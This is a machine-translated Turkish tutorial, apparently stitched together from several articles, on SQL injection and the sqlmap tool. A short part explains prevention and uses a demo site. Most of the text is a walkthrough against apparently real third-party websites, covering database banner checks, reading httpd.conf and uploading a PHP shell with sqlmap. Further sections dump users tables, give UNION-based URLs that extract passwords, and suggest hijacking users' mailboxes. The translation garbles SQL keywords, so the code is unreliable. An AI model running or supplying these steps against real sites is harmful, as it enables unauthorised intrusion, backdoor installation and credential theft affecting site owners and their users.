Ev - internet
SQLMap'in temel kullanımı. Sqlmap kullanma talimatları

SQL enjeksiyonu, ifadelerin belirli bölümlerini yorumlayarak veya her zaman doğru olacak bir koşul ekleyerek dinamik SQL ifadelerinden yararlanan bir saldırıdır. Web uygulaması mimarisindeki açıkları hedefler ve kötü amaçlı SQL kodunu yürütmek için SQL ifadelerini kullanır:

Bu yazımızda SQL enjeksiyonlarında kullanılan tekniklere ve web uygulamalarının bu tür saldırılardan nasıl korunabileceğine bakacağız.

SQL enjeksiyonu nasıl çalışır?

SQL enjeksiyonu kullanılarak gerçekleştirilebilecek saldırı türleri, etkilenen veritabanı motorlarının türüne göre değişir. Saldırı dinamik SQL ifadelerini hedef alıyor. Dinamik ifade, bir web formundaki veya URI sorgu dizesindeki parametrelere dayalı olarak çalışma zamanında oluşturulan bir ifadedir.

Giriş formuna sahip basit bir web uygulamasını düşünün. HTML form kodu aşağıdadır:

  • Form bir e-posta adresini kabul eder ve ardından şifre, index.php adlı bir PHP dosyasına gönderilir;
  • Oturum bir çerezde saklanır. Bu özellik, Remember_me bayrağı kontrol edilerek etkinleştirilir. Veri göndermek için post yöntemi kullanılır. Bu, değerlerin URL'de görüntülenmediği anlamına gelir.

Sunucu tarafında kullanıcı kimliğini kontrol etme isteğinin şöyle göründüğünü varsayalım:

  • İstek, $_POST dizisi değerlerini temizlemeden doğrudan kullanır;
  • Parola MD5 algoritması kullanılarak şifrelenir.

SQL Injection sqlfiddle kullanan bir saldırıya bakacağız. Tarayıcınızda http://sqlfiddle.com/ URL'sini açın. Ekranda aşağıdaki pencere görünecektir.

Not: SQL ifadeleri yazmanız gerekecektir:

Adım 1: Bu kodu sol panele girin:

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); kullanıcılara (e-posta, şifre) değerler ekleyin (" [e-posta korumalı]",md5("abc"));

Adım 2: Düğmeye tıklayın Şema Oluştur».
Adım 3: Aşağıdaki kodu sağ bölmeye girin:

kullanıcılardan * seçin;

Adım 4: "'e tıklayın SQL'i çalıştır" Aşağıdaki sonucu göreceksiniz:

Kullanıcının bir e-posta adresi sağladığını varsayalım [e-posta korumalı] ve şifre olarak 1234. Veritabanında yürütülmesi gereken sorgu şu şekilde görünebilir:

Yukarıdaki örnek SQL enjeksiyon kodu, parolanın bir kısmının yorumlanması ve her zaman doğru olacak bir koşulun eklenmesiyle atlanabilir. Bir saldırganın e-posta adresi alanına aşağıdaki verileri eklediğini varsayalım:

[e-posta korumalı]" VEYA 1 = 1 LİMİT 1 -- " ]

ve şifre alanına xxx yazın.

Oluşturulan dinamik ifade şu şekilde görünecektir:

  • [e-posta korumalı] dizeyi sonlandıran tek bir tırnak işaretiyle biter;
  • VEYA 1 = 1 LİMİT 1, her zaman doğru olacak ve döndürülen sonuçları yalnızca bir kayıtla sınırlayacak bir durumdur.

0; ' AND ... şifre kısmını hariç tutan bir SQL yorumudur.

Yukarıdaki sorguyu kopyalayın ve aşağıda gösterildiği gibi FiddleRun SQL metin kutusuna yapıştırın:

Bilgisayar korsanı etkinliği: Web uygulamalarına SQL enjeksiyonları

http://www.techpanda.org/ adresinde, gösteri amacıyla yeni başlayanlar için özellikle SQL enjeksiyon saldırılarına karşı savunmasız hale getirilmiş basit bir web uygulamamız var. Yukarıda verilen HTML form kodu bu uygulamanın yetkilendirme sayfasından alınmıştır.

E-posta alanının temizlenmesi gibi temel güvenliği sağlar. Bu, yukarıdaki kodun bu mekanizmayı atlamak için kullanılamayacağı anlamına gelir.

Bunu atlamak için şifre alanını kullanabilirsiniz. Aşağıdaki şemada izlemeniz gereken adımlar gösterilmektedir:

Saldırganın aşağıdaki verileri sağladığını varsayalım:

1. Adım: Girin [e-posta korumalı] e-posta adresi olarak;
Adım 2: xxx'i girin) VEYA 1 = 1 - ] ;

“Gönder” butonuna tıklar.

Yönetim paneline gönderilecektir. Oluşturulan sorgu şu şekilde görünecektir:

Aşağıdaki şemada isteğin nasıl oluşturulduğu gösterilmektedir:

Burada:

  • İstek, md5 şifrelemesinin kullanıldığını varsayar;
  • Kapanışta tek tırnak ve parantez kullanılır;
  • Operatöre her zaman doğru olacak bir koşul eklenir.

Tipik olarak saldırganlar, SQL enjeksiyon saldırısında hedeflerine ulaşmak için birkaç farklı yöntem kullanmaya çalışırlar.

Diğer SQL enjeksiyon saldırısı türleri

SQL enjeksiyonları, yetkilendirme mekanizmasını atlayarak bir sisteme giriş yapmaktan çok daha fazla zarara neden olabilir. Bu saldırılardan bazıları şunlar olabilir:

  • Veri silme işlemini gerçekleştirin;
  • Veri güncellemesini gerçekleştirin;
  • Veri ekle;
  • Sunucuda kötü amaçlı programları indirip yükleyecek komutları yürütün;
  • Kredi kartı bilgileri, e-posta ve şifreler gibi değerli verileri saldırganın uzak sunucusuna aktarın.

Yukarıdaki liste tam değildir. Bu sadece SQL enjeksiyonlarının oluşturduğu tehlikeler hakkında bir fikir verir.

SQL enjeksiyonlarını otomatikleştirmeye yönelik araçlar

Yukarıdaki örnekte manuel saldırı yöntemlerini kullandık. SQL enjeksiyonunu gerçekleştirmeden önce, saldırıları daha verimli ve hızlı bir şekilde gerçekleştirmenize olanak tanıyan otomatikleştirilmiş araçların bulunduğunu anlamalısınız:

  • SQLSmack;
  • SQLPing2;
  • SQLMap.

SQL enjeksiyonları nasıl önlenir

SQL enjeksiyon saldırılarına karşı korunmak için birkaç basit kural şunlardır:

Kullanıcı girdisine güvenilmemelidir. Veriler dinamik SQL işlemlerinde kullanılmadan önce her zaman arındırılması gerekir.

Saklı prosedürler- SQL sorgularını kapsülleyebilir ve tüm giriş verilerini parametre olarak işleyebilirler.

Hazırlanan sorgular- Önce sorgular oluşturulur ve ardından sağlanan tüm kullanıcı verileri parametre olarak işlenir. Bu, SQL deyiminin sözdizimini etkilemez.

Düzenli ifadeler- Potansiyel olarak kötü amaçlı kodu tespit etmek ve SQL ifadelerini çalıştırmadan önce onu kaldırmak için kullanılabilir.

Veritabanına bağlanmak için erişim hakları- ile SQL enjeksiyonlarına karşı koruma veritabanına bağlanmak için kullanılan hesaplara yalnızca gerekli erişim hakları verilmelidir. Bu, SQL ifadelerinin sunucuda gerçekleştirebileceği eylemleri sınırlamaya yardımcı olacaktır.

Hata mesajları- gizli bilgileri ifşa etmemelidir. " gibi basit özel hata mesajları Üzgünüz, teknik bir hata oluştu. Destek ekibine bu konuda zaten bilgi verildi. Lütfen daha sonra tekrar deneyiniz" hataya neden olan SQL sorgularını görüntülemek yerine kullanılabilir.

Selamlar okuyucu. Son zamanlarda Web güvenliğiyle ilgileniyorum ve çalışmalarım bir ölçüde bununla ilgili. Çünkü Çeşitli forumlarda her şeyin nasıl çalıştığını göstermelerini isteyen konuları giderek daha sık fark etmeye başladım, bu yüzden bir makale yazmaya karar verdim. Makale bununla karşılaşmamış ancak öğrenmek isteyenlere yönelik olacaktır. İnternette bu konuyla ilgili nispeten çok sayıda makale var, ancak yeni başlayanlar için bunlar biraz karmaşık. Her şeyi açık bir dille ve ayrıntılı örneklerle anlatmaya çalışacağım.

Önsöz

Bu makaleyi anlamak için aslında SQL dili bilgisine ihtiyacınız yok, ama en azından iyi bir sabır ve ezberlemek için biraz beyne ihtiyacınız var.

Sadece yazıyı okumanın yeterli olmayacağına inanıyorum çünkü... canlı örneklere ihtiyacımız var - bildiğiniz gibi ezberleme sürecinde pratik yapmak asla gereksiz değildir. Bu nedenle savunmasız senaryolar yazacağız ve bunlar üzerinde eğitim vereceğiz.

SQL enjeksiyonu nedir?
Basit bir ifadeyle bu, veritabanına yapılan ve komut dosyasının yaratıcısı tarafından planlanmayan bazı eylemleri gerçekleştirmenize olanak tanıyan bir saldırıdır. Hayattan örnek:

Babam Vasya'ya 100 ruble verip masanın üzerine koyması için annesine bir not yazdı. Bunu komik bir SQL diline dönüştürerek şunu elde ederiz:
CÜZDANINIZDAN 100 RUBLE ALIN VE Vasya'ya Verin

Babası notu kötü yazıp (beceriksiz el yazısı) masaya bıraktığı için Vasya'nın kardeşi Petya notu gördü. Bir hacker olan Petya buraya “OR Pete” ekledi ve sonuç şu şekilde oldu:
CÜZDANINIZDAN 100 RUBLE ALIN VE Vasya VEYA Petya'ya VERİN

Annem notu okuduktan sonra dün Vasya'ya para vermeye karar verdi ve Petya'ya 100 ruble verdi. İşte hayattan SQL enjeksiyonunun basit bir örneği :) Petya, verileri filtrelemeden (annem el yazısını zar zor anlayabiliyordu) kar elde etti.

Hazırlık
Pratik yapmak için bu makalenin kaynak komut dosyalarını içeren bir arşive ihtiyacınız olacak. İndirin ve sunucuda paketini açın. Ayrıca veritabanını içe aktarın ve dosyadaki verileri ayarlayın cfg.php

SQL enjeksiyonunu ara

Zaten anladığınız gibi enjeksiyon, filtrelenmeyen gelen verilerden gelir. En yaygın hata iletilen kimliğin filtrelenmemesidir. Kabaca konuşursak, tüm alanlara alıntılar koyun. İster bir GET/POST isteği, hatta bir Çerez olsun!

Sayısal giriş parametresi
Pratik yapmak için bir senaryoya ihtiyacımız var indeks1.php. Yukarıda da söylediğim gibi haber ID'sine tırnak işareti koyuyoruz.

Çünkü İsteğimizin filtrelemesi yok:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Senaryo bunu şu şekilde anlayacaktır:

SELECT * FROM news WHERE id=1"

Ve bize bir hata verecektir:
Uyarı: mysql_fetch_array(), parametre 1'in kaynak olmasını bekler; boole değeri 16. satırda C:\WebServ\domains\sqlinj\index1.php dosyasında verilmiştir.

Hata görünmüyorsa aşağıdaki nedenler olabilir:

1.SQL enjeksiyonu burada değil - alıntılar filtrelenir veya yalnızca dönüştürülmeye değer (int)
2. Hata çıkışı devre dışı bırakılır.

Hala bir hata alıyorsanız - Yaşasın! İlk SQL enjeksiyon türünü bulduk - Sayısal giriş parametresi.

Dize giriş parametresi

Talepleri şuraya göndereceğiz: indeks2.php. Bu dosyada istek şöyle görünür:
$kullanıcı = $_GET["kullanıcı"]; $query = "SELECT * FROM news WHERE kullanıcı =$kullanıcı"";

Burada haberleri kullanıcı adına göre seçiyoruz ve yine filtreleme yapmıyoruz.
Yine bir teklifle birlikte bir istek gönderiyoruz:

Hata verdi. TAMAM! Bu, bir güvenlik açığının olduğu anlamına gelir. Yeni başlayanlar için bu bizim için yeterli; hadi pratik yapalım.

Haydi harekete geçelim

Küçük bir teori

Muhtemelen bundan hatalardan başka bir şey çıkarmak için sabırsızlanıyorsunuz. İlk önce "işaretini anlayın" -- " SQL'de bir yorum olarak kabul edilir.

DİKKAT! Öncesinde ve sonrasında boşluk olması gerekir. URL'de şu şekilde aktarılırlar: %20

Yorumdan sonra gelen her şey atılacaktır. Yani:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Başarılı olacak. Bunu index2.php betiğinde şöyle bir istek göndererek deneyebilirsiniz:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Parametreyi öğrenin BİRLİK. SQL dilinde anahtar kelime BİRLİKİki SQL sorgusunun sonuçlarını tek bir tabloda birleştirmek için kullanılır. Yani ihtiyacımız olan bir şeyi başka bir masadan çıkarmak için.

Haydi bundan yararlanalım

Parametre “Sayısal” ise, isteğe bir fiyat teklifi göndermemize ve doğal olarak sonuna bir yorum koymamıza gerek yoktur. Senaryoya geri dönelim indeks1.php.

SQLlinj/index1.php?id=1 UNION SELECT 1 betiğine dönelim. Veritabanı sorgumuz şuna benzer:
SELECT * FROM news WHERE id=1 UNION SELECT 1
Ve bize bir hata verdi, çünkü... sorguları birleştirmeyle çalışmak için aynı sayıda alana ihtiyacımız var.

Çünkü İlk istekte sayılarını etkileyemeyiz, sonra ikinci istekte sayılarını birinciye eşit olacak şekilde seçmemiz gerekir.

Alan sayısını seçme

Alanları seçmek çok basittir; aşağıdaki istekleri göndermeniz yeterlidir:
sqlinj/index1.php?id=1 BİRLİĞİ SEÇİMİ 1,2
Hata…
sqlinj/index1.php?id=1 BİRLİĞİ SEÇİMİ 1,2,3
Yine hata!
sqlinj/index1.php?id=1 BİRLİĞİ SEÇİMİ 1,2,3,4,5
Hata yok! Bu, sütun sayısının 5 olduğu anlamına gelir.

GRUPLANDIRMA ŞEKLİ
Çoğu zaman 20, 40, hatta 60 alan olabilir, böylece her seferinde bunları sıralamak zorunda kalmayız, kullanırız. GRUPLANDIRMA ŞEKLİ

Eğer istek
sqlinj/index1.php?id=1 2'YE GÖRE GRUPLA
herhangi bir hata göstermedi, bu da alan sayısının 2'den fazla olduğu anlamına geliyor. Deneyelim:

Sqlinj/index1.php?id=1 8'E GÖRE GRUPLA
Op, bir hata görüyoruz, alan sayısı 8'den az demektir.

GROUP BY 4'te hata yoksa ve GROUP BY 6'da hata varsa alan sayısı 5'tir.

Çıkış Sütunlarını Tanımlama
İlk istekte bize hiçbir şey gösterilmemesini sağlamak için, var olmayan bir kimliği değiştirmek yeterlidir, örneğin:

Sqlinj/index1.php?id=-1 BİRLİĞİ SEÇİMİ 1,2,3,4,5

Bu işlemle sayfada hangi sütunların görüntüleneceğini belirledik. Şimdi bu numaraları gerekli bilgilerle değiştirmek için talebe devam etmeniz gerekiyor.

Veri çıkışı

Diyelim ki masanın hala var olduğunu biliyoruz kullanıcılar alanların bulunduğu İD, isim Ve geçmek.
ID=1 olan kullanıcı hakkında bilgi almamız gerekiyor

Bu nedenle aşağıdaki sorguyu oluşturalım:

Sqlinj/index1.php?id=-1 KULLANICILARDAN BİRLİĞİ SEÇİN 1,2,3,4,5 WHERE id=1
Komut dosyası ayrıca çıktı almaya devam ediyor

Bunu yapmak için 1 ve 3 sayıları yerine alanların adlarını değiştireceğiz.

Sqlinj/index1.php?id=-1 BİRLİĞİ SEÇİN adı,2,pass,4,5 KULLANICILARDAN NEREDE id=1
İhtiyacımız olanı aldık!

Komut dosyasındaki gibi "dize giriş parametresi" için indeks2.php başına tırnak işareti ve sonuna yorum işareti eklemeniz gerekir. Örnek:
sqlinj/index2.php?user=-1" BİRLİĞİ SEÇİN adı,2,pass,4,5 KULLANICILARDAN WHERE id=1 --%20

Dosyaları Okuma/Yazma

Dosyaları okumak ve yazmak için veritabanı kullanıcısının FILE_PRIV haklarına sahip olması gerekir.
Dosyaları kaydetme
Aslında her şey çok basit. Bir dosya yazmak için işlevi kullanacağız. ÇIKIŞ DOSYASI.
sqlinj/index2.php?user=-1" "1.php" --%20 ÇIKIŞ DOSYASINA BİRLİĞİ SEÇİN 1,2,3,4,5
Harika, dosya bize kaydedildi. Böylece mini kabuğu doldurabiliriz:
sqlinj/index2.php?user=-1" BİRLİĞİ SEÇİMİ 1,"",3,4,5 ÇIKIŞ DOSYASINA "1.php" --%20
Dosyaları okuma
Dosyaları okumak yazmaktan daha kolaydır. Sadece fonksiyonu kullanmak yeterlidir DOSYA YÜKLE, alanın seçtiğimiz yeri için:

Sqlinj/index2.php?user=-1" BİRLİĞİ SEÇİMİ 1,LOAD_FILE("1.php"),3,4,5 --%20

Böylece daha önce yazılan dosyayı okuduk.

Koruma yöntemleri

Kendinizi korumak, bir güvenlik açığından yararlanmaktan bile daha kolaydır. Sadece verileri filtreleyin. Sayıları geçiyorsanız, şunu kullanın:
$id = (int) $_GET["id"];
Kullanıcı malroc'un önerdiği gibi. PDO'yu veya hazırlanmış ifadeleri kullanarak kendinizi koruyun.

Tamamlamak yerine

“Yeni başlayanlar için SQL enjeksiyonu” ile ilgili ilk bölümümü burada bitirmek istiyorum. İkincisinde daha şiddetli enjeksiyon örneklerine bakacağız. Savunmasız komut dosyaları yazmayı ve sorguları kendiniz yürütmeyi deneyin.
Ve unutmayın, sitenizin hiçbir kullanıcısına güvenmeyin.

Neyse konuya:

Spoiler: Kabuğu doldurun

Sitede şuna benzeyen bir SQL Enjeksiyonumuz var:

Linkleri görebilmeniz için kayıt olmanız gerekmektedir.


Yapmak istediğimiz ilk şey, saldırıya uğrayan kaynağa dosya yazma ayrıcalıklarımızın olup olmadığını kontrol etmektir; bunu yapmak için terminali yükleyin ve aşağıdaki komutu verin:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Tıklamak Girmek ve SQL Enjeksiyonumuzun analizi başlıyor, rapor şu şekilde görünüyor:

Raporda gördüğünüz gibi Apache sürümü, MySQL sürümü ve sunucuda kurulu işletim sisteminin sürümü yazılıyor, tüm bunlar gelecekte işimize yarayacak ama en önemlisi şunu görebiliyorsunuz dosya yazma haklarımız var, bu, Current User is DBA: True satırında görüntülenir

Bizim için bir sonraki adım kabuğumuzu kaydedecek yolları elde etmektir. Dosyayı indirerek sunucudaki sitemizin yolunu bulabiliriz. httpd.conf. Google'ı kullanarak httpd.conf dosyasının konumu hakkında bilgi alıyoruz; yüklü işletim sisteminin sürümüne veya en olası yolların listesine göre arama yapabilirsiniz. Genel olarak, arama motorlarında gezinmenin derinliklerine inmeyeceğim, dosya yolunun en olası konumunu bulduğunuzda, aynı dosyayı diskinize indirmenin zamanı geldi, bunu yapmak için aşağıdakileri girin komut ve sunucudaki dosyayı okumayı talep edin:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Bu yapılandırma dosyasını ilk seferde bulmanın her zaman mümkün olmadığını hemen belirtelim, bu nedenle bu dosyanın bulunabileceği en olası yolları kullanabilirsiniz:

YAPILANDIRMA DOSYASINA OLASI YOL LİSTESİ:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/Apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/Apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/Apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Sqlmap'ten aşağıdaki biçimde bir rapor alıyoruz:


Gördüğünüz gibi sqlmap bize dosyanın sunucudaki dosyayla aynı boyutta olduğunu söyledi, dolayısıyla bu dosyayı okuma hakkımız var. Bu dosyayı okumak için yeterli hak yoksa, makinemize kaydedilen dosyanın sunucudaki dosyadan farklı bir boyuta sahip olduğu veya sunucuda belirttiğimiz yolda hiçbir dosya bulunmadığı ve hiçbir zaman kaydedilmediği şeklinde bir hata görünecektir. olmuştur. Sqlmap dosyamızı rapor dosyalarına kaydetti ve onu okumak için pencere yöneticisini başlatmamız gerekiyor. Pencere yöneticisini başlatmak için başka bir terminal penceresi açıp şu komutu giriyoruz:

Daha sonra açılan yöneticide sqlmap'in dosyayı eklediği yolu izliyoruz, yani:
/root/.sqlmap/output/sacoor.com
Daha sonra imleci dosyanın üzerine getirin ve düğmeye basın F3 klavyede Apache yapılandırma dosyasını okuyun:


Config dosyamızdan sitemizin sunucuda aşağıdaki yolda bulunduğunu görüyoruz:
/ana sayfa/sbshop/site/

Artık biraz bilgi sahibi olduğumuza göre kabuğu doldurmayı deneyebiliriz, bunun için aşağıdaki komutu giriyoruz:

Komutu girdikten sonra sqlmap ne tür dolgu kullanmak istediğimizi soracaktır, çünkü... bizim durumumuzda site PHP'de, sonra yükleyeceğiz PHP yükleyici, seçme 4. nokta ve Enter'a basın. Daha sonra sqlmap bizden yükleyicimizi nereye yükleyeceğimizi seçmemizi isteyecek ve o zamandan beri... Sunucudaki sitemizin yolunu zaten biliyoruz, ardından 2. nokta, basmak Girmek ve sitenin yolunu belirtin:
/ana sayfa/sbshop/site/

Ve bundan sonra basıyoruz Girmek ve aşağıdaki raporu görüyoruz:


Bu durumda sqlmap bize bu klasöre yazma hakkımızın olmadığını söylüyor. Sorun değil, bu sorunun çözümü oldukça kolaydır. Uniscan'ı başlatma ve dosya ve klasörleri yazılabilirlik açısından kontrol etme komutunu veriyoruz, işte komut:

Uniscan -u http://www.sacoor.com/ -qwe

Artık tarayıcı tüm yazılabilir dizinleri kontrol edecektir:


Tarayıcı, dosya yazma yeteneğine sahip üç dizin buldu, bu yüzden kabuk yükleyicimizi tekrar yüklemeye çalışıyoruz, ancak bu sefer farklı bir şekilde. Komutu tekrar çalıştırın:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

ve seçerek 4. nokta(PHP betiğini doldurarak), yolu belirtin:
/ana sayfa/sbshop/site/yönetici

Aşağıdakileri görüyoruz.

Sqlmap nedir ve ne içindir?

Program, siteleri SQL enjeksiyon güvenlik açıkları, XSS güvenlik açıkları açısından kontrol etmenize ve ayrıca SQL enjeksiyonundan yararlanmanıza olanak tanır. Çeşitli SQL enjeksiyon türleri ve çeşitli veritabanları desteklenir.

Sqlmap ile neler yapabilirsiniz?

Sqlmap ile şunları yapabilirsiniz:

  • web sitelerinin güvenlik açıkları olup olmadığını kontrol edin

Sitenin SQL enjeksiyonuna karşı savunmasız olması durumunda şunlar mümkündür:

  • Veritabanının dökümü (tüm) dahil olmak üzere veritabanından bilgi alma
  • veritabanındaki bilgileri değiştirme ve silme
  • bir web sunucusuna bir kabuk (arka kapı) yükleyin

Sqlmap kullanma senaryolarından biri:

  • Veritabanından kullanıcı adı ve şifre alma
  • Site yönetim panellerini arayın (yönetici paneli)
  • Alınan kullanıcı adı ve şifreyle yönetici paneline giriş yapın

Bir güvenlik açığı varsa saldırı çeşitli yönlerde gelişebilir:

  • Veri değişikliği
  • Arka kapıyı dolduruyorum
  • Kullanıcı verilerini elde etmek için JavaScript kodunu enjekte etme
  • BeEF'e bağlanmak için kod uygulama

Görüldüğü gibi SQL enjeksiyonu saldırgana büyük fırsatlar sunan çok tehlikeli bir güvenlik açığıdır.

Sqlmap kullanarak web sitelerini kontrol etme

Site, GET yöntemini kullanarak kullanıcıdan veri alıyorsa (hem değişkenin adı hem de iletilen veriler tarayıcının adres çubuğunda göründüğünde), bu değişkenin bulunduğu sayfanın adresini seçmeniz gerekir. Sunmak. Soru işaretinden sonra gelir ( ? ), Örneğin:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

İlk adreste değişken adı şöyledir: İD ve geçirilen değer 8 . İkinci adreste değişken adı da İD ve iletilen değer 22 . Üçüncü örnekte değişken adı aynı ancak iletilen değer s_36. Aynı değişken adı farklı siteler için rastgele bir eşleşmedir, herhangi bir şey olabilir, iletilen veri herhangi bir şey olabilir, değerleri bir sembolle ayrılmış birkaç değişken olabilir & .

Kimlik değişkeninin SQL enjeksiyonuna karşı savunmasız olup olmadığını kontrol etmek istiyorsak adresin tamamını girmemiz gerekir - http://www.dwib.org/faq2.php?id=8 (http://www.dwib değil) .org /faq2.php veya http://www.dwib.org).

GET yöntemi tarafından iletilen bir değişkeni kontrol etme komutu çok basittir:

SQLmap -u site_adresi

Bu siteler için komutlar şöyle olacaktır:

SQLmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

Doğrulama işlemi sırasında sqlmap çeşitli sorular sorabilir ve bunları yanıtlamanız gerekir. sen(yani Evet) veya N(yani Hayır). Y ve n harfi büyük veya küçük olabilir. Büyük harf varsayılan seçim anlamına gelir; kabul ediyorsanız Enter tuşuna basmanız yeterlidir.

Durum ve soru örnekleri:

Buluşsal yöntem, hedefin bir tür WAF/IPS/IDS tarafından korunduğunu tespit etti. Sqlmap'in arka uç WAF/IPS/IDS'yi tespit etmeye çalışmasını ister misiniz?

Buluşsal yöntem, hedefin bir tür WAF/IPS/IDS tarafından korunduğunu belirledi. Sqlmap'in WAF/IPS/IDS'nin adını belirlemeye çalışmasını ister misiniz?

En sevdiğim istek:

Sezgisel (temel) test, GET parametresi "id"nin enjekte edilebilir olabileceğini gösterir (olası DBMS: "MySQL") GET parametresi "id" üzerinde SQL enjeksiyonu testi, arka uç DBMS'nin "MySQL" gibi göründüğünü gösterir. Diğer DBMS'lere özel test veri yüklerini atlamak istiyor musunuz?

Mesele şu ki buluşsal yöntem, parametrenin savunmasız olabileceğini belirlemiş ve uzak DBMS zaten tanımlanmış, kontrole devam etmek isteyip istemediğimiz soruluyor. İkinci ekran görüntüsünde ise sitenin XSS'e karşı da savunmasız olduğu görülüyor.

Sqlmap'in size her zaman sormaması, ancak varsayılan seçimi kullanması için işlemi otomatikleştirmek istiyorsanız (her zaman daha iyi seçenekler vardır), o zaman komutu şu seçenekle çalıştırabilirsiniz: --grup:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Sqlmap'i tararken olası sorunlar

Aşağıdaki hatalar görünebilir:

Hedef URL'ye bağlantı zaman aşımına uğradı. Sorun devam ederse sqlmap istekleri yeniden deneyecek, lütfen sağlanan hedef URL'nin geçerli olup olmadığını kontrol edin. Böyle bir durumda, "--random-agent" anahtarı açıkken ve/veya proxy anahtarları ("--ignore-proxy", "--proxy",...) ile yeniden çalıştırmayı deneyebilirsiniz.

Bu, web sitesinin sqlmap ile “konuşmak” istemediği anlamına gelir. Bir seçenek olarak kullanmamız teklif ediliyor --rastgele-ajan. Siteyi tarayıcıda izleyebiliyorsanız, ancak sqlmap bağlantı kurmanın imkansızlığı hakkında yazıyorsa, site istekleri görmezden geliyor ve kullanıcı aracısına odaklanıyor. --random-agent seçeneği standart sqlmap değerini rastgele olarak değiştirir:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Bu hatanın bir başka nedeni de IP'nizin bir web sitesi tarafından engellenmesi olabilir; bu durumda bir proxy kullanmanız gerekir. Zaten bir proxy kullanıyorsanız ve bu hata görünüyorsa, bu, proxy'nin iletişim sorunları olduğu ve onsuz denemeniz gerektiği anlamına gelebilir.

sqlmap tarama sonuçları

Tespit edilen SQL enjeksiyonları aşağıdaki gibi görüntülenir:

Onlar. koyu yeşil renkle vurgulanmıştır, güvenlik açığı bulunan parametrenin adı yazılır, SQL güvenlik açığının türü ve kelimesi bulunur enjekte edilebilir.

Sqlmap ile veritabanlarının listesini alma

Veritabanlarının bir listesini almak için seçeneği kullanın --dbs. Örnekler:

SQLmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Veritabanlarından bilgi alma

Örneğin wellerpools.com sitesi için iki veritabanı bulundu:

[*] bilgi_şeması [*] ana_kuyu havuzları

Main_wellerpools veritabanındaki tabloların listesini bilmek istiyorum. Bunu yapmak için seçeneği kullanın --tablolar. Ayrıca seçenekten sonra ilgilendiğimiz tabloyu da belirtmemiz gerekiyor. -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Tablo listesi:

Bazı nedenlerden dolayı kullanıcılar tablosundaki sütunların listesini bilmek istiyorum. Bunu yapmak için seçeneği kullanın --sütunlar. Ayrıca ilgilendiğimiz veritabanını da belirtmemiz gerekiyor ( -D ana_kuyuhavuzları) ve tuşundan sonra -T sütun listesini görmek istediğimiz tablo:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T kullanıcılar --columns

İçeriği görüntülemek için seçeneği kullanın --çöplük. Veritabanıyla birlikte belirtilebilir ve ardından tüm veritabanının dökümü yapılabilir veya verileri bir tabloyla, hatta bir sütunla sınırlayabilirsiniz. Aşağıdaki komutla tüm kullanıcılar tablosunun içeriğini görmek istiyorum:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T kullanıcıları --dump

Şifrelere bir göz atın; hızlı bir inceleme sonrasında bunların karma olduklarını düşündüm. Yöneticiler gerçekten kendilerini savunmaya çalıştı ama bu onlara yardımcı olmadı.

Bu arada, GET yöntemiyle gönderilen verileri kabul eden parametre savunmasız olduğundan, doğrudan tarayıcı satırında, kullanıcının kullanıcı adı ve şifresinin doğrudan sitenin kendisinde görüntüleneceği şekilde bir istek oluşturabilirsiniz:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(kullanıcı_adı,0x3a,user_pwd),3,4,5,6,7,8,9, 10+kullanıcıdan+-
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+kullanıcılardan+--

Onlar. Sitenin kullanıcılarının (ve büyük olasılıkla yöneticilerinin) kullanıcı adı, şifresi ve e-posta bilgilerine sahibiz. Sitenin yönetim panelini bulabilirseniz sitenin veya web sunucusunun kontrolünü ele geçirebilirsiniz. Kullanıcıların aynı şifrelere olan sevgisi ve posta kutularını bilmeleri göz önüne alındığında, postalarını hacklemeyi deneyebilirsiniz.

Genel olarak SQL enjeksiyonu çok tehlikeli bir güvenlik açığıdır.

